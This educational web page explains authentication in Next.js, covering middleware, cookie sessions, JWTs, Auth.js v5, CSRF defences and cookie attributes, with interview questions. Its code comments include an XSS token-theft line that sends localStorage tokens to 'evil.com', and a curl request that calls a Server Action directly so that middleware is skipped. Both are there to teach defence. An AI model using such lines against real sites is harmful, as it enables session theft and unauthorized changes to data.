Next.js Auth Patterns
โฑ๏ธ ~5-minute bite ยท solve the sandbox to master
5-Year-Old Metaphor
โ The physical, real-world picture. No jargon.๐ง Middleware = bouncer. ๐ซ Cookie session = wristband. ๐ JWT = passport.
The venue analogy
Middleware (bouncer at the door): checks everyone before they enter. If you don't have a wristband, you're turned away at the gate โ you never reach the dance floor. Fast, but the bouncer can be bypassed if there's a side door (direct API call).
Cookie session (wristband): proves you paid and were checked in. Checked at each attraction inside the venue. Stamped by the venue itself โ hard to forge. But it's just a lookup key โ the real data is stored at the wristband desk (Redis).
JWT (passport): self-contained document. Any official at any border can verify the stamp without calling the issuing country. But if stolen, it stays valid until it expires โ no way to cancel it mid-flight.
Auth layer map
| 1 | ย |
| 2 | Request |
| 3 | โ |
| 4 | โผ |
| 5 | middleware.ts (Edge) |
| 6 | โโ Public path? โ NextResponse.next() |
| 7 | โโ No token? โ redirect("/login") |
| 8 | โโ Valid token โ inject x-user-id header |
| 9 | โ |
| 10 | โผ |
| 11 | Route Handler / Server Component |
| 12 | โโ Read x-user-id from headers (safe โ set by middleware) |
| 13 | โโ OR call auth() / getSession() for fresh verification |
| 14 | โ |
| 15 | โผ (for mutations) |
| 16 | Server Action |
| 17 | โโ MUST call requireAuth() directly |
| 18 | middleware does NOT protect this |
The critical insight: middleware is not a security boundary for mutations
Middleware runs for page navigation. But Server Actions can be triggered by a direct fetch() call to the action URL โ no middleware involved. A malicious user can craft a request that skips the middleware entirely. Your Server Action must validate auth itself, before doing anything.
Middleware
UX redirects โ sends unauthenticated users to /login
Routes only
Server Component
Read auth from verified session โ display correct UI
Read-only
Server Action
Always re-validate before any mutation or sensitive read
Mutations โ
Interactive Sandbox
โ Move something, see it react instantly.Browser
POST /login
Credentials sent over HTTPS
Server
Creates session in DB/Redis
Stores userId, roles, expiry
Server
Set-Cookie: app_session=...
httpOnly; Secure; SameSite=Lax โ only the opaque ID goes to browser
Browser
GET /dashboard (Cookie: app_session=...)
Auto-attached on every same-origin request
Server
Decode sealed cookie โ userId
iron-session decrypts client-side seal โ no DB round-trip needed with this approach
Challenge
Where should you validate auth for a Server Action that mutates data?
Why Should I Care?
โ The exact interview question + the bug it kills.Interview Q&A
Q: When should you choose JWT over session cookies?
A: JWT is stateless โ useful for microservices where multiple servers need to validate tokens without a shared session DB. Session cookies require a central store but are easier to invalidate (just delete from DB).
| 1 | // JWT: any server verifies โ no shared state |
| 2 | // Good for: microservices, mobile APIs, cross-domain auth |
| 3 | const payload = await jwtVerify(token, key); // CPU only, no DB |
| 4 | const userId = payload.userId; // claim embedded in token |
| 5 | ย |
| 6 | // Session: must reach shared Redis on every request |
| 7 | // Good for: web apps, instant revocation, admin panels |
| 8 | const session = await getSession(); // may call Redis |
| 9 | const userId = session.userId; // stored server-side |
Q: Why use httpOnly cookies over localStorage for tokens?
A: httpOnly cookies are inaccessible to JavaScript โ XSS attacks can't steal them. localStorage tokens are vulnerable to any script running on the page, including injected third-party scripts.
| 1 | // โ localStorage โ any XSS can steal this |
| 2 | localStorage.setItem("token", jwt); |
| 3 | // attacker: fetch("https://evil.com?t=" + localStorage.token) |
| 4 | ย |
| 5 | // โ httpOnly cookie โ JS cannot read it at all |
| 6 | // Set by server: Set-Cookie: token=...; HttpOnly; Secure |
| 7 | // document.cookie will NOT include httpOnly cookies |
| 8 | // fetch() will auto-send it but cannot read it |
| 9 | ย |
| 10 | // โ For access tokens that must be in JS memory: |
| 11 | // Store in a module-level variable โ lost on page refresh |
| 12 | // (that's OK โ refresh token in httpOnly cookie re-issues it) |
Q: Should you duplicate auth checks in middleware AND server actions?
A: Yes. Middleware protects routes for UX redirects. Server Actions must re-validate because middleware can be bypassed by direct API calls. Never trust middleware alone for mutations.
| 1 | // middleware.ts โ protects the PAGE from loading |
| 2 | // Can be bypassed: curl -X POST /app/actions/deletePost \ |
| 3 | // -H "Next-Action: <action-id>" -d '{"postId":1}' |
| 4 | // ^ No browser navigation = middleware never runs |
| 5 | ย |
| 6 | // server action โ the REAL security boundary |
| 7 | "use server"; |
| 8 | export async function deletePost(postId: number) { |
| 9 | const user = await requireAuth(); // re-verify every time |
| 10 | await requireOwnership(postId, user.id); // also check ownership |
| 11 | await db.post.delete({ where: { id: postId } }); |
| 12 | } |
The Deep Dive
โ Spec refs, engine internals, the minutiae.Auth.js v5: auth.ts config
Auth.js v5 (NextAuth) uses a single auth.ts config file that exports named helpers. The old authOptions object + getServerSession(authOptions) pattern is gone in v5.
| 1 | // auth.ts โ the entire Auth.js config |
| 2 | import NextAuth from "next-auth"; |
| 3 | import GitHub from "next-auth/providers/github"; |
| 4 | ย |
| 5 | export const { handlers, auth, signIn, signOut } = NextAuth({ |
| 6 | providers: [GitHub], |
| 7 | callbacks: { |
| 8 | // Add custom fields to every session |
| 9 | async session({ session, user }) { |
| 10 | session.user.id = user.id; // from DB adapter |
| 11 | session.user.role = user.role; // custom field you added |
| 12 | return session; |
| 13 | }, |
| 14 | // Control who can sign in |
| 15 | async signIn({ user, account }) { |
| 16 | if (account?.provider === "github") { |
| 17 | // Example: only allow @yourcompany.com emails |
| 18 | return user.email?.endsWith("@yourcompany.com") ?? false; |
| 19 | } |
| 20 | return true; |
| 21 | }, |
| 22 | }, |
| 23 | pages: { |
| 24 | signIn: "/login", // custom sign-in page |
| 25 | error: "/auth/error", // custom error page |
| 26 | }, |
| 27 | }); |
| 28 | ย |
| 29 | // Usage in Server Component or Server Action: |
| 30 | const session = await auth(); // reads + validates session |
| 31 | if (!session) redirect("/login"); |
CSRF protection: how Auth.js handles it automatically
Auth.js generates a random state parameter for every OAuth redirect, stores it in a signed cookie, and verifies it on callback. This prevents CSRF: an attacker can't initiate a login flow on your behalf because they can't predict or forge the state value. For custom forms, use Auth.js's getCsrfToken().
| 1 | // Auth.js OAuth CSRF flow (automatic): |
| 2 | // 1. GET /api/auth/signin/github |
| 3 | // โ server generates state=<random>, stores in signed cookie |
| 4 | // โ redirects to GitHub with &state=<random> |
| 5 | // |
| 6 | // 2. GitHub redirects back: /api/auth/callback/github?code=X&state=<random> |
| 7 | // โ Auth.js reads state from cookie, compares to query param |
| 8 | // โ mismatch = CSRF attempt, request rejected |
| 9 | // โ match = continue token exchange |
| 10 | ย |
| 11 | // For custom form sign-in: |
| 12 | // app/login/page.tsx |
| 13 | import { getCsrfToken } from "next-auth/react"; |
| 14 | ย |
| 15 | export default async function LoginPage() { |
| 16 | const csrfToken = await getCsrfToken(); |
| 17 | return ( |
| 18 | <form action="/api/auth/callback/credentials" method="POST"> |
| 19 | <input name="csrfToken" type="hidden" value={csrfToken} /> |
| 20 | {/* email, password inputs */} |
| 21 | </form> |
| 22 | ); |
| 23 | } |
Cookie attributes: httpOnly, sameSite, secure
| Attribute | What it does | Auth usage |
|---|---|---|
| HttpOnly | Prevents JS from reading via document.cookie | Always set on session/JWT cookies โ blocks XSS theft |
| Secure | Cookie only sent over HTTPS | Required in production โ prevents network interception |
| SameSite=Strict | Cookie not sent on cross-site requests at all | Maximum CSRF protection โ breaks OAuth flows (use Lax instead) |
| SameSite=Lax | Sent on same-site + top-level navigation GET | Auth.js default โ balances CSRF protection with OAuth compatibility |
| SameSite=None | Sent on all cross-site requests | Required for embedded iframes โ must pair with Secure |
Why to never store sensitive data in JWTs
JWT payload is Base64url encoded โ NOT encrypted. Anyone who intercepts the cookie (server logs, CDN logs, proxy logs) can decode the claims in seconds. The signature prevents tampering but provides no confidentiality.
| 1 | // Anyone can decode JWT payload with one line: |
| 2 | atob("eyJ1c2VySWQiOjQyLCJyb2xlIjoiYWRtaW4ifQ==") |
| 3 | // โ {"userId":42,"role":"admin"} |
| 4 | ย |
| 5 | // What's safe in JWT payload: |
| 6 | { userId: 42, role: "member", exp: 1234567890 } |
| 7 | ย |
| 8 | // What's NOT safe in JWT payload: |
| 9 | { userId: 42, ssn: "123-45-6789" } // PII |
| 10 | { userId: 42, passwordHash: "..." } // credentials |
| 11 | { userId: 42, creditCard: "..." } // payment data |
| 12 | ย |
| 13 | // If you need encrypted JWTs: use JWE (JSON Web Encryption) |
| 14 | // jose library supports JWE with AES-256-GCM |
| 15 | import { EncryptJWT } from "jose"; |
| 16 | const jwe = await new EncryptJWT(payload) |
| 17 | .setProtectedHeader({ alg: "dir", enc: "A256GCM" }) |
| 18 | .encrypt(encryptionKey); // payload now actually encrypted |
Interview Questions
โ Real questions from real interviews โ with answers.Middleware only intercepts page navigation โ Server Actions can be called directly via fetch, bypassing it.
httpOnly cookies are inaccessible to JavaScript โ XSS can't read them.
JWT for stateless multi-service auth; database sessions for instant revocation and rich server-side data.
Named exports replace authOptions; auth() replaces getServerSession(authOptions); App Router compatible.
Use the session callback to merge extra user fields from the DB adapter into the session object.
Memory Game
โ Quick quiz โ lock the concept in long-term memory.What is the main trade-off of JWT sessions vs. database sessions for revocation?